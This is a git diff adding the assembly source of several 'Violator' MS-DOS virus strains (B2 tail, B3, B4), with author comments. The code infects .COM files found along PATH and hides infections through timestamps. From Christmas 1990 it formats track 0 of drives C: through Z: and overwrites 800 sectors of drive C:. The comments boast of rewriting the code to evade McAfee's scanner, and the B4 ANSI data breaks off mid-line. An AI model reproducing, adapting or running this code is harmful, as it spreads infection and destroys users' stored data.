DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + MOV marker,1 + CALL weed + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program +; +; It seems as if there is a bit of a misunderstanding about the above line. +; What it simply does is returns from the JMP that we issued at the beginning +; of the program. Heceforth, an infected program will have something to the +; effect of 2145:0100 JMP 104B and the program will then jump to the +; beginning of us. Then we go along our merry way of infecting files until +; we are done and then come up to the RET 0FFFFH line. This is just like a +; plain RET put as we all know, you can't RET from a JMP, so this line kinda +; tricks DOS to return back to the line after the one that issued the original +; JMP, thus, it returns to line 2145:0102 and begins with the real program... +; +; Clear? Good... + +vir_dat EQU $ + +; +; Change the next line on release of compiled file... +; +intro db 'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +marker DB 0 ; This is used for INT purposes +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.viol-b3.asm b/MSDOS/Virus.MSDOS.Unknown.viol-b3.asm new file mode 100644 index 00000000..89d58287 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viol-b3.asm @@ -0,0 +1,442 @@ +;***************************************************************************** +; Violator Strain B3 +;***************************************************************************** +; +; Notes: (Oct.24.9O) +; ------------------ +; +; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs +; and shit were fixed... +; +; Well, I had to rewrite this one so that McAffee can't scan for it. Took me +; a while, but I just re-did it from scratch and then after doing some +; research, it turned out he was looking for something in the Data Segment. +; So I just re-arranged a few things and voila! Instant unscannable virus! +; +; Also, for the INT filtering routine, I eliminated the extra bytes that do +; a [MOV marker,1] where it was unnecessary. After I issue it once, I don't +; have to keep MOVing it because it's still in memory right? +; +; Silly me wrote the original filter routine after I came home drunk from a +; party, so I didn't take that into account. So we are one step close to having +; K-K00L thrify kode... +; +; I also took out that stupid MOV_CX macro. It was bugging the shit out of me +; becuase it served no purpose other than taking up extra space. MOV CX,virlen +; does the exact same thing... +; +; Other Notes +; ----------- +; +; Thanx to RABID Pagan for some totally mondo ideas (Mutating Data Segment...) +; I think I'll be popping that into strain B4 +; +; Also, to Rick Dangerous, about Violator/2 TSR. I found the problem with your +; TSR program. It was messy as hell!!! The CALL virus_begin was causing the +; problems. I'll rewrite the TSR for ya ala THETSR methodology. +; +;***************************************************************************** +; +; Written by The High Evolutionary +; +; Copyright (c) 199O by The RABID Nat'nl Development Corp. +; October, 24th, 199O +;***************************************************************************** + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + CLD + MOV SI,DX + ADD SI,first_3 + MOV DI,OFFSET 100H + MOV CX,3 + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + CALL filter + CMP AL,0 + JNZ year_check + JMP quit + +filter: CMP marker,1 + JE int_21 + CMP marker,2 + JE int_13 + CMP marker,3 + JE int_26 + RET + +int_21: INT 21H + RET + +int_13: INT 13h + RET + +int_26: INT 26h + RET + +year_check: + MOV AH,2AH ; Get date info + MOV marker,1 + CALL filter + CMP CX,year + JGE month_check + JMP infect + +month_check: + CMP DH,month + JGE day_check + JMP infect + +day_check: + CMP DL,day + JGE kill_13 + JMP infect + +kill_13: + MOV Al,counter + CALL ala_13 + CMP counter,27 + JE re_format + INC counter + LOOP kill_13 + +ala_13: MOV CH,0 + MOV DL,counter + MOV AH,05h + MOV DH,0 + MOV marker,2 + CALL filter + RET +; +; I changed this routine, becuase in the original Violator, I rewrote the +; data segment by calling it for the INT 26. All I did this time, was just +; set BX to be an offset of my INTRO var. That way, when Drive C is formatted, +; the Violator identifier string will be written everywhere... Kinda neat! +; + +re_format: + PUSHF + MOV BX,OFFSET intro ; Changed it here... + MOV DX,00 + MOV CX,800 + MOV AL,2 + MOV marker,3 + CALL filter + POPF + +infect: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL filter + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + CALL filter + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + +find_path: + POP SI + PUSH SI + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path + LOOP check_next_4 + POP SI + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden + CALL filter + JMP SHORT find_first + +find_next: + MOV AH,4FH + CALL filter + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH + CMP AL,1CH + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + CALL filter + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + INC times ; INC the number of times we infected + MOV BX,AX + MOV AX,OFFSET 5700H + CALL filter + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + CALL filter + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + CALL filter + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + MOV [DI],CX + MOV AH,40H + MOV CX,virlen ;Bah! Took out the stupid macro!!! + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + CALL filter + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + CALL filter + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH + MOV AX,OFFSET 5701H + CALL filter + MOV AH,3EH + CALL filter + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + CALL filter + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + CALL filter + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;************************************************************************ + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +year DW 1990 ;Set year to 1990 +; +; MASM considers a DB value greater than 255 illegal. So I just make the year +; into a Data Word. That way, I can still keep the year as part of the data +; segment for easier modification. +; +; Just for anyone who is curious out there... +; +month DB 12 ;Set month to December +day DB 25 ;Set day to Christmas +intro DB 'Violator Strain B3 - RABID Nat''nl Development Corp.' +marker DB 0 ;Marker for INT purposes +counter DB 2 ;Counter for drives +times DB 0 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +fspec_ DB '*.COM',0 +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ + +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat + + CODE ENDS +END VCODE + +; The End ? Stay tuned, true believers, for Violator Strain Be-fore... \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.viol-b4.asm b/MSDOS/Virus.MSDOS.Unknown.viol-b4.asm new file mode 100644 index 00000000..f26d378d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viol-b4.asm @@ -0,0 +1,691 @@ +;***************************************************************************** +; Violator Strain B4 +;***************************************************************************** +; +; Notes: (Nov.26.9O) +; ------------------ +; +; "Happy Holiday's Guys!!!" +; +; Haha! I just got off the line with Flash Force. We decided to make +; a Violator Strain B4 which will have a nice little ANSI Christmas tree +; with RABID's seasons greetings. So the file will be huge! But who cares. +; People won't notice an infection until it's too late due to the short life +; of this virus. +; +; New editions to this virus are a counter that keeps track of how many philes +; it has infected (Where it is in the program, I have no idea!!!), and a +; nice ANSI screen. +; +; I also fixed that stupid re-infection bug in B3... Bah! To err is human... +; +;***************************************************************************** +; +; Written by The High Evolutionary +; +; Copyright (c) 199O by The RABID Nat'nl Development Corp. +; +;***************************************************************************** + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + CLD + MOV SI,DX + ADD SI,first_3 + MOV DI,OFFSET 100H + MOV CX,3 + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + CALL filter + CMP AL,0 + JNZ year_check + JMP quit + +filter: CMP marker,1 + JE int_21 + CMP marker,2 + JE int_13 + CMP marker,3 + JE int_26 + RET + +int_21: INT 21H + RET + +int_13: INT 13h + RET + +int_26: INT 26h + RET + +year_check: + MOV AH,2AH ; Get date info + MOV marker,1 ; Set function for INT 21 + CALL filter ; Call the filter routine + CMP CX,1990 ; Check if it's 1990 + JGE month_check ; Yes? Check the month + JMP infect ; No? Go to infection routine + +month_check: + CMP DH,month ; Check if it's December + JGE day_check ; Yeah? Check the day + JMP infect ; No? Infect a phile + +day_check: + CMP DL,day ; Check if it's Christmas + JGE kill_13 ; Yeah? Kill all drives + JMP infect ; No? Infect a poor guy! + +kill_13: + MOV AL,counter ; Move drive into AL + CALL ala_13 ; Kill the drive + CMP counter,27 ; Check to see if it's drive Z: + JE re_format ; Yes! Then go to re_format + INC counter ; Increase the counter + LOOP kill_13 ; Jump up and fry the next one + +ala_13: MOV CH,0 ; Set to track 0 + MOV DL,counter ; Set drive to counter + MOV AH,05h ; Set function for formatting + MOV DH,0 ; Format Head 0 + MOV marker,2 ; Set for INT_13 call + CALL filter ; Call the filter routine + RET ; Return from call +; +; I changed this routine, becuase in the original Violator, I rewrote the +; data segment by calling it for the INT 26. All I did this time, was just +; set BX to be an offset of my INTRO var. That way, when Drive C is formatted, +; the Violator identifier string will be written everywhere... Kinda neat! +; + +re_format: + MOV BP,OFFSET ansi ; Offset of ANSI screen + MOV CX,2000 ; Set for 2000 bytes + MOV AH,13h ; Set function for write to screen + MOV AL,3 ; Set all attributes to be written + MOV BH,0 ; + MOV BL,0 ; + MOV DH,0 ; Row 0 + MOV DL,0 ; Column 0 + INT 10h ; Display it to screen + PUSHF ; Push Flags onto stack 'cause INT + ; 26 kill the flag status + MOV BX,OFFSET intro ; Add a message on the fried drive! + MOV DX,00 ; Set for sector 0 + MOV CX,800 ; Write 800 sectors + MOV AL,2 ; Make it drive C: + MOV marker,3 ; Set up for INT 26 call + CALL filter ; Call filter for INT 26 + POPF ; Restore the flags we pushed + +infect: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL filter + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + CALL filter + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + +find_path: + POP SI + PUSH SI + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path + LOOP check_next_4 + POP SI + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden + CALL filter + JMP SHORT find_first + +find_next: + MOV AH,4FH + CALL filter + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1CH + CMP AL,1CH + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H +; +;Is the file too long? +; + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH +; +;Is it too short? +; + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + CALL filter + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + CALL filter + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + INC times ; Add one to the times counter so + ; that we can keep track off how many + ; files we have infected... + MOV BX,AX + MOV AX,OFFSET 5700H + CALL filter + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + CALL filter + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + CALL filter + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + MOV [DI],CX + MOV AH,40H + MOV CX,virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ;address of virus code in memory + CALL filter + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + CALL filter + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + CALL filter + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1CH ;Make timestamp with the infected + ;seconds!!! + MOV AX,OFFSET 5701H + CALL filter + MOV AH,3EH + CALL filter + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + CALL filter + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + CALL filter + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +month db 12 ;Set month to December +day db 25 ;Set day to Christmas +intro db 13,10 + DB 'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10 + DB ' RABID would like to take this opportunity to extend it''s sincerest',13,10 + db ' holiday wishes to all Pir8 lamers around the world! If you are',13,10 + db ' reading this, then you are lame!!!',13,10 + db ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10 + db ' new year. Go ahead! Make our day!',13,10,13,10 + db ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10 + db '(Bah! We make a virus this large, might as well have something positive!)',13,10 +marker DB 0 ;Marker for INT purposes +counter DB 2 ;Counter for drives +times DB 0 +ansi DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15 + DB ' ',15,' ',15,' ',15,' ',15,'',9,'',9,'',9,'',9,'' + DB 9,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'',15,'' + DB 15,'',15,'',15,'',15,'',15,'',15,'',15,'',15,'' + DB 15,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'',9,'' + DB 9,'',12,'',12,'',12,'',12,'',12,'',12,'',12,'' + DB 12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,'',9,' ',9,' ',9,' ',9,'',9,'',9,'',9,' ' + DB 9,' ',9,'',9,'',9,' ',9,' ',9,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,' ',15,'',9,'',9,' ' + DB 9,' ',9,'',9,'',9,' ',9,' ',9,'',9,'',12,' ',12,' ' + DB 12,' ',12,'',12,'',12,' ',12,'',12,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',9,' ' + DB 9,' ',9,' ',9,'',9,' ',9,'',9,' ',9,' ',9,'',9,'' + DB 15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,'',15,'' + DB 15,' ',15,' ',15,' ',15,'',9,'',9,' ',9,' ',9,'',9 + DB '',9,' ',9,' ',9,'',12,'',12,' ',12,' ',12,' ',12,'' + DB 12,'',12,' ',12,'',9,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,'',9,' ',9,' ',9,' ',9 + DB '',9,'',9,'',9,' ',9,' ',9,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,'',15,'',15,' ',15,' ' + DB 15,' ',15,'',9,'',9,' ',9,'',9,'',9,'',9,' ',9,' ' + DB 9,'',12,'',12,' ',12,' ',12,' ',12,'',12,'',12,' ' + DB 12,'',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,'',1,' ',1,' ',1,'',1,'',1,'',1,' ' + DB 1,' ',1,'',15,'',15,'',15,' ',15,' ',15,'',15,'' + DB 15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,' ',15,'' + DB 1,'',1,' ',1,'',1,'',1,'',12,' ',12,' ',12,'',12 + DB '',12,' ',12,' ',12,' ',12,'',12,'',1,' ',1,'',1,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,'',1,' ',1,' ',1,'',1,' ',1,'',1,'',1,' ',1,'' + DB 15,'',15,'',15,' ',15,' ',15,'',15,'',15,' ',15,' ' + DB 15,'',15,'',15,' ',15,' ',15,' ',15,'',1,'',1,' ' + DB 1,' ',1,'',1,'',12,' ',12,' ',12,'',12,'',12,' ',12 + DB ' ',12,' ',12,'',1,'',1,' ',1,'',1,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'',1,' ' + DB 1,' ',1,'',1,' ',1,' ',1,'',15,' ',15,' ',15,'',15 + DB '',15,' ',15,' ',15,'',15,'',15,' ',15,' ',15,'',15 + DB '',1,' ',1,' ',1,' ',1,'',1,'',1,' ',1,' ',1,'',12 + DB '',12,' ',12,' ',12,'',12,'',12,' ',12,' ',12,' ',12 + DB '',1,'',1,' ',1,'',1,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ' + DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' 